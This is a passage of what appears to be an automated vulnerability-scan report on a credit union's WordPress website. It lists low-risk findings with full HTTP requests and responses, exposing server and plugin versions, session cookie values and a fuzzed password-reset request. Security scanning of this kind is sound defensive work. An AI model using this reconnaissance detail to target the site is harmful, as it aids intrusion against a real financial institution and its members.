Set-Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; path=/; secure; HttpOnly
Location: https://www.clcu.ie/sitemap_index.xml
Vary: Accept-Encoding
Response body (0 bytes)
Parameter
PHPSESSID
Evidence
gutkq0d13uqkiuoo18rrel573t
Solution
This is an informational alert rather than a vulnerability and so
there is nothing to fix.
4. USER AGENT FUZZER (1)
1. POST https://www.clcu.ie/wp-login.php?action=lostpassword
Alert tags Alert description
Check for differences in response based on fuzzed User Agent (eg.
mobile sites, access as a Search Engine Crawler). Compares the
response statuscode and the hashcode of the response body with the
original response.
Request Request line and header section (417 bytes)
POST https://www.clcu.ie/wp-login.php?action=lostpassword HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
pragma: no-cache
cache-control: no-cache
content-type: application/x-www-form-urlencoded
referer: https://www.clcu.ie/wp-login.php?action=lostpassword
content-length: 54
Cookie: PHPSESSID=6n82fsdsffcfgjuvlei7d25bth; wordpress_test_cookie=WP%20Cookie%20check
Request body (54 bytes)
user_login=ZAP&redirect_to=&wp-submit=Get+New+Password
Response Status line and header section (408 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 12:00:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure
Vary: Accept-Encoding
content-length: 5292
Response body (5292 bytes)
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Lost Password ‹ Croí Laighean Credit Union — WordPress</title>
<meta name='robots' content='noindex, follow' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/jquery/jquery.min.js' id='jquery-core-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/jquery/jquery-migrate.min.js' id='jquery-migrate-js'></script>
<script type='text/javascript' id='wordfence-ls-login-js-extra'>
/* <![CDATA[ */
var WFLS_LOGIN_TRANSLATIONS = {"Message to Support":"Message to Support","Send":"Send","An error was encountered while trying to send the message. Please try again.":"An error was encountered while trying to send the message. Please try again.","<strong>ERROR<\/strong>: An error was encountered while trying to send the message. Please try again.":"<strong>ERROR<\/strong>: An error was encountered while trying to send the message. Please try again.","Wordfence 2FA Code":"Wordfence 2FA Code","Remember for 30 days":"Remember for 30 days","Log In":"Log In","<strong>ERROR<\/strong>: An error was encountered while trying to authenticate. Please try again.":"<strong>ERROR<\/strong>: An error was encountered while trying to authenticate. Please try again.","The Wordfence 2FA Code can be found within the authenticator app you used when first activating two-factor authentication. You may also use one of your recovery codes.":"The Wordfence 2FA Code can be found within the authenticator app you used when first activating two-factor authentication. You may also use one of your recovery codes."};
var WFLSVars = {"ajaxurl":"\/wp-admin\/admin-ajax.php","nonce":"d5235f4f47","recaptchasitekey":"","useCAPTCHA":"","allowremember":"","verification":null};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/wordfence/modules/login-security/js/login.1698685182.js' id='wordfence-ls-login-js'></script>
<link rel='stylesheet' id='dashicons-css' href='https://www.clcu.ie/wp-includes/css/dashicons.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='buttons-css' href='https://www.clcu.ie/wp-includes/css/buttons.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='forms-css' href='https://www.clcu.ie/wp-admin/css/forms.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='l10n-css' href='https://www.clcu.ie/wp-admin/css/l10n.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='login-css' href='https://www.clcu.ie/wp-admin/css/login.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='wordfence-ls-login-css' href='https://www.clcu.ie/wp-content/plugins/wordfence/modules/login-security/css/login.1698685182.css' type='text/css' media='all' />
<link rel="shortcut icon" href="https://www.clcu.ie/wp-content/themes/croi-laighean/images/favicon.ico" /><style type="text/css">
.login h1 a{ background-image:url(https://www.clcu.ie/wp-content/themes/croi-laighean/images/logo.svg) !important; background-color:#ffffff; background-size:79%; width:auto; background-position:center center; padding:42px;}
</style> <meta name='referrer' content='strict-origin-when-cross-origin' />
<meta name="viewport" content="width=device-width" />
</head>
<body class="login no-js login-action-lostpassword wp-core-ui locale-en-us">
<script type="text/javascript">
document.body.className = document.body.className.replace('no-js','js');
</script>
<div id="login">
<h1><a href="https://www.clcu.ie">Croí Laighean Credit Union</a></h1>
<p class="message">Please enter your username or email address. You will receive an email message with instructions on how to reset your password.</p>
<div id="login_error"> <strong>Error:</strong> There is no account with that username or email address.<br />
</div>
<form name="lostpasswordform" id="lostpasswordform" action="https://www.clcu.ie/wp-login.php?action=lostpassword" method="post">
<p>
<label for="user_login">Username or Email Address</label>
<input type="text" name="user_login" id="user_login" class="input" value="ZAP" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<input type="hidden" name="redirect_to" value="" />
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Get New Password" />
</p>
</form>
<p id="nav">
<a href="https://www.clcu.ie/wp-login.php">Log in</a>
</p>
<p id="backtoblog">
<a href="https://www.clcu.ie/">← Go to Croí Laighean Credit Union</a> </p>
<div class="privacy-policy-page-link"><a class="privacy-policy-link" href="https://www.clcu.ie/privacy-policy/" rel="privacy-policy">Privacy Notice</a></div> </div>
<script type="text/javascript">
try{document.getElementById('user_login').focus();}catch(e){}
if(typeof wpOnload==='function')wpOnload();
</script>
<script type="text/javascript">
document.querySelector('form').classList.add('shake');
</script>
<div class="clear"></div>
</body>
</html>
Parameter
Header User-Agent
Attack
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
11. RISK=INFORMATIONAL, CONFIDENCE=LOW (4)
1. HTTPS://WWW.CLCU.IE (4)
1. CHARSET MISMATCH (1)
1. GET
https://www.clcu.ie/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Fwww.clcu.ie%2Fcontact%2F
Alert tags Alert description
This check identifies responses where the HTTP Content-Type header
declares a charset different from the charset defined by the body
of the HTML or XML. When there's a charset mismatch between the
HTTP header and content body Web browsers can be forced into an
undesirable content-sniffing mode to determine the content's
correct character set.
An attacker could manipulate content on the page to be interpreted
in an encoding of their choice. For example, if an attacker can
control content at the beginning of the page, they could inject
script using UTF-7 encoded text and manipulate some browsers into
interpreting that text.
Other info
There was a charset mismatch between the HTTP Header and the XML
encoding declaration: [UTF-8] and [null] do not match.
Request Request line and header section (430 bytes)
GET https://www.clcu.ie/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Fwww.clcu.ie%2Fcontact%2F HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/contact/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (633 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:46 GMT
Content-Type: text/xml; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Robots-Tag: noindex
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin,Accept-Encoding
Upgrade: h2,h2c
content-length: 2603
Response body (2603 bytes)
<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>Croí Laighean Credit Union</provider_name><provider_url>https://www.clcu.ie</provider_url><title>Contact us</title><type>rich</type><width>600</width><height>338</height><html><blockquote class="wp-embedded-content" data-secret="MFa1oBOtqj"><a href="https://www.clcu.ie/contact/">Contact us</a></blockquote><iframe sandbox="allow-scripts" security="restricted" src="https://www.clcu.ie/contact/embed/#?secret=MFa1oBOtqj" width="600" height="338" title="“Contact us” — Croí Laighean Credit Union" data-secret="MFa1oBOtqj" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe><script type="text/javascript">
/*! This file is auto-generated */
!function(c,d){"use strict";var e=!1,o=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},c.wp.receiveEmbedMessage);else if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(!t);else if(!(t.secret||t.message||t.value));else if(/[^a-zA-Z0-9]/.test(t.secret));else{for(var r,s,a,i=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=new RegExp("^https?:$","i"),l=0;l<n.length;l++)n[l].style.display="none";for(l=0;l<i.length;l++)if(r=i[l],e.source!==r.contentWindow);else{if(r.removeAttribute("style"),"height"===t.message){if(1e3<(s=parseInt(t.value,10)))s=1e3;else if(~~s<200)s=200;r.height=s}if("link"===t.message)if(s=d.createElement("a"),a=d.createElement("a"),s.href=r.getAttribute("src"),a.href=t.value,!o.test(a.protocol));else if(a.host===s.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(o);else{o=!0;for(var e,t,r,s=-1!==navigator.appVersion.indexOf("MSIE 10"),a=!!navigator.userAgent.match(/Trident.*rv:11\./),i=d.querySelectorAll("iframe.wp-embedded-content"),n=0;n<i.length;n++){if(!(r=(t=i[n]).getAttribute("data-secret")))r=Math.random().toString(36).substr(2,10),t.src+="#?secret="+r,t.setAttribute("data-secret",r);if(s||a)(e=t.cloneNode(!0)).removeAttribute("security"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:"ready",secret:r},"*")}}}}(window,document);
</script>
</html><thumbnail_url>https://www.clcu.ie/wp-content/uploads/2020/11/contact-banner.jpg</thumbnail_url><thumbnail_width>2560</thumbnail_width><thumbnail_height>613</thumbnail_height></oembed>
Solution
Force UTF-8 for all text content in both the HTTP header and meta
tags in HTML or encoding declarations in XML.
2. INFORMATION DISCLOSURE - SUSPICIOUS COMMENTS (1)
1. GET https://www.clcu.ie/who-we-are/
Alert tags
* OWASP_2021_A01
* WSTG-v42-INFO-05
* OWASP_2017_A03
Alert description
The response appears to contain suspicious comments which may help
an attacker. Note: Matches made within script blocks or files are
against the entire content not only comments.
Other info
The following pattern was used: \bADMIN\b and was detected in the
element starting with: "<script type="rocketlazyloadscript"
data-rocket-type="text/javascript">
var sbiajaxurl = "https://www.clcu.ie/wp-admin/admin-aj", see
evidence field for the suspicious comment/snippet.
Request Request line and header section (311 bytes)
GET https://www.clcu.ie/who-we-are/ HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t
Request body (0 bytes)
Response Status line and header section (262 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Upgrade: h2,h2c
Last-Modified: Mon, 27 Nov 2023 03:30:51 GMT
Vary: Accept-Encoding
content-length: 104088
Response body (104088 bytes)
<!doctype html>
<html lang="en-US">
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<meta name="viewport" content="width=device-width, minimum-scale=1, maximum-scale=1">
<link rel="profile" href="https://gmpg.org/xfn/11">
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<script type="rocketlazyloadscript" async data-rocket-src="https://www.googletagmanager.com/gtag/js?id=UA-127639971-1"></script>
<script type="rocketlazyloadscript">
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-127639971-1');
</script>
<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
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<title>About Us | Areas We Serve | Croí Laighean Credit Union</title>
<meta name="description" content="Join CLCU and trust us to keep your finances running smoothly. We have Credit Union branches In Kildare And Offaly. More here." />
<link rel="canonical" href="https://www.clcu.ie/who-we-are/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
<meta property="og:title" content="Who we are" />
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<meta property="article:modified_time" content="2023-11-21T17:06:48+00:00" />
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<a href="https://www.clcu.ie/loans/#apply-loan-main" title="Apply for a Loan">Apply<br>for a Loan</a>
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<a href="https://www.clcu.ie/faqs/" title="FAQ">FAQ</a>
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<div class="inner_banner" style="background: url(https://www.clcu.ie/wp-content/uploads/2020/10/Who-are-we-1366x327-3-scaled.jpg);">
<h1>Who we are</h1>
<div class="banner_fade default2 " ></div>
</div>
<div id="content" class="site-content"><div class="main">
<div class="container">
<div class="inner_page_col think-bigger" >
<section id='our_story_section'>
<div class="section_container">
<div class="section_column section_column_2">
<h2>Our story</h2>
<p>Croí Laighean Credit Union has a friendly approach to modern finance. We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time online access to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>We may work with figures all day, but at CLCU you’ll always be more than a number. When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit, so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our local community flourish through sponsorship initiatives that support schools, organisations, and clubs in your area.</p>
</div>
<div class="section_column section_column_2 section_column_right">
<h3>Why Choose Us</h3>
<ul> <li>We Support the Local Community</li>
<li>Fair and Transparent Lending Process</li>
<li>Affordable Loans Tailored to your Repayment Ability</li>
<li>Secure Savings </li>
<li>Best Value Current Account</li>
<li>Fair Insurance</li>
<li>Extra Member Benefits</li>
<li><a href="https://www.clcu.ie/contact/#opening-hours" title="here">Open 6 days a week - view timetable</a></li>
<li>The only person who benefits from a credit union… is you!</li>
</ul>
</div>
</div>
<div class="section_container">
<a href='https://www.clcu.ie/join-us/' class="join_today">Join today, it’s Free
</a>
</div>
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<div class="croi-content-wrap">
<h3>Am I eligible to join Croí Laighean Credit Union</h3>
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jQuery(function(){
jQuery("#autoadddiv").AutoAddress({
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</div>
</div>
</section>
<section id='why_join_us_section'>
<div class="section_container">
<h2>Why join us</h2>
</div>
<div class="section_container">
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/Image1.png" class="rocket-lazyload" href='https://www.clcu.ie/credit-union-loan/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Great Value Loans </h3>
<p>Get the best loan rates in our locality</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/fair-lending.png" class="rocket-lazyload" href='https://www.clcu.ie/credit-union-loan/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Fair Lending </h3>
<p>We use our experience, not algorithms </p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/secure-savings.jpg" class="rocket-lazyload" href='https://www.clcu.ie/savings/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Secure Savings </h3>
<p>Backed by the Deposit Guarantee Scheme</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/community-support.jpg" class="rocket-lazyload" href='https://www.clcu.ie/our-recipients-list/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Community Support </h3>
<p>Over €728,000 donated in the last 7 years</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/Digital-banking.png" class="rocket-lazyload" href='https://secure.clcu.ie/login.asp'
style=''>
</a>
<div class="join_us_item_text">
<h3>Digital Banking </h3>
<p>24/7 account access with digital wallets</p>
</div>
</div>
<div class="section_column section_column_3 join_us_item">
<a data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/extra-benefits.jpg" class="rocket-lazyload" href='https://www.clcu.ie/'
style=''>
</a>
<div class="join_us_item_text">
<h3>Extra benefits </h3>
<p>Free loan insurance and free life benefit insurance</p>
</div>
</div>
</div>
</section>
<section id='local_trusted_section'>
<div class="section_container">
<h2>Your local trusted Credit Union</h2>
</div>
<div class="section_container local_trusted_images_container">
<div data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/google-clcu-rating-1.jpg" class="section_column section_column_3 local_trusted_bg_img rocket-lazyload"
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</div>
<div data-bg="https://www.clcu.ie/wp-content/uploads/2022/08/facebook-clcu-rating-1.jpg" class="section_column section_column_3 local_trusted_bg_img rocket-lazyload"
style="">
</div>
<div data-bg="https://www.clcu.ie/wp-content/uploads/2023/06/CXI-Credit-Union-Award.png" class="section_column section_column_3 local_trusted_bg_img rocket-lazyload"
style="">
</div>
</div>
</section>
<section id='areas_section'>
<div class="section_container">
<h2>Area’s we serve</h2>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='areas we serve image' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/Common-Bond-Map.png" /><noscript><img src='https://www.clcu.ie/wp-content/uploads/2022/08/Common-Bond-Map.png' alt='areas we serve image' /></noscript>
<h3>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='info' data-lazy-src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/info.png" /><noscript><img src='https://www.clcu.ie/wp-content/themes/croi-laighean/images/info.png' alt='info' /></noscript> To join, you must live, work or study within our common bond </h3>
<a href='https://social.clcu.ie/membership-form-step-1/' class="join_today">Check if you’re eligible
</a>
</div>
</section>
<link rel="stylesheet" href="https://www.clcu.ie/wp-content/themes/croi-laighean/css/owl.carousel.min.css">
<link rel="stylesheet" href="https://www.clcu.ie/wp-content/themes/croi-laighean/css/owl.theme.default.min.css">
<section id='carousel_section'>
<div class="section_container">
<h2>You local trusted Credit Union</h2>
</div>
<div class="section_container">
<div class="owl-carousel owl-theme">
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Since joining the Credit Union last year not only have I seen my savings increase but also managed 2 holidays so far so thanks to Edel and the team</p>
</p>
<p class="testimonial_name">Ben Mullo</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Very easy and friendly to deal with. The whole process is very straightforward. Exceptional customer service.</p>
</p>
<p class="testimonial_name">Gillian Lewis</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review1.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Friendly staff Helpful, understanding. Easy to open an Account. I’d required to complete opening an Account.</p>
</p>
<p class="testimonial_name">Patrick Barr</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review2.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Very pleasant staff, always make you feel very welcome. Extremely helpful and you never feel like you’re just a number like a lot of other institutions do.</p>
</p>
<p class="testimonial_name">Austin Levins</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review3.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Very helpful great service lovely staff.</p>
</p>
<p class="testimonial_name">Ellen Murphy</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review4.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Great staff and very helpful</p>
</p>
<p class="testimonial_name">Suzanne Lennon</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review5.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Friendly, good hours, nice to deal with, honest, they will talk to you if any problems arise</p>
</p>
<p class="testimonial_name">Fergal Reidy</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review6.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>The guys couldn’t be more helpful and friendly. We are now new customers all set up and couldn’t recommend the team more. Great job.</p>
</p>
<p class="testimonial_name">Ray Keane</p>
</div>
</div>
<div class="item">
<div class='img_container'>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg" /><noscript><img src=' https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' alt='https://www.clcu.ie/wp-content/uploads/2022/08/clcu-review7.jpg' /></noscript>
</div>
<div class='text_container'>
<p><p>Lovely friendly staff and never have to wait too long</p>
</p>
<p class="testimonial_name">Marie Parsons</p>
</div>
</div>
<div class="item">
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<p><p>An excellent place to secure your savings and obtain a loan if needed at very reasonable rates.</p>
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<p><p>Speed and efficiency – they’re always very helpful and if they can’t help they find someone who will.</p>
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<p class="testimonial_name">Sheena M Geraghty</p>
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<p><p>The staff are always so helpful and welcoming.</p>
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/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/contact-form-7/includes/js/index.js' id='contact-form-7-js'></script>
<script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue}
if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue}
images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1}
if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script><script data-no-minify="1" async src="https://www.clcu.ie/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script><script>function lazyLoadThumb(e,alt){var t='<img data-lazy-src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"><noscript><img src="https://i.ytimg.com/vi/ID/hqdefault.jpg" alt="" width="480" height="360"></noscript>',a='<button class="play" aria-label="play Youtube video"></button>';t=t.replace('alt=""','alt="'+alt+'"');return t.replace("ID",e)+a}function lazyLoadYoutubeIframe(){var e=document.createElement("iframe"),t="ID?autoplay=1";t+=0===this.parentNode.dataset.query.length?'':'&'+this.parentNode.dataset.query;e.setAttribute("src",t.replace("ID",this.parentNode.dataset.src)),e.setAttribute("frameborder","0"),e.setAttribute("allowfullscreen","1"),e.setAttribute("allow", "accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"),this.parentNode.parentNode.replaceChild(e,this.parentNode)}document.addEventListener("DOMContentLoaded",function(){var e,t,p,a=document.getElementsByClassName("rll-youtube-player");for(t=0;t<a.length;t++)e=document.createElement("div"),e.setAttribute("data-id",a[t].dataset.id),e.setAttribute("data-query", a[t].dataset.query),e.setAttribute("data-src", a[t].dataset.src),e.innerHTML=lazyLoadThumb(a[t].dataset.id,a[t].dataset.alt),a[t].appendChild(e),p=e.querySelector('.play'),p.onclick=lazyLoadYoutubeIframe});</script></body>
</html>
<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1701055851 -->
Evidence
admin
Solution
Remove all comments that return information that may help an
attacker and fix any underlying problems they refer to.
3. RE-EXAMINE CACHE-CONTROL DIRECTIVES (1)
1. GET https://www.clcu.ie/robots.txt
Alert tags
* WSTG-v42-ATHN-06
Alert description
The cache-control header has not been set properly or is missing,
allowing the browser and proxies to cache content. For static
assets like css, js, or image files this might be intended,
however, the resources should be reviewed to ensure that no
sensitive content will be cached.
Request Request line and header section (234 bytes)
GET https://www.clcu.ie/robots.txt HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (291 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 221
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Upgrade: h2,h2c
Accept-Ranges: bytes
Vary: Accept-Encoding
X-Powered-By: WP Rocket/3.15.3
Cache-Control: public
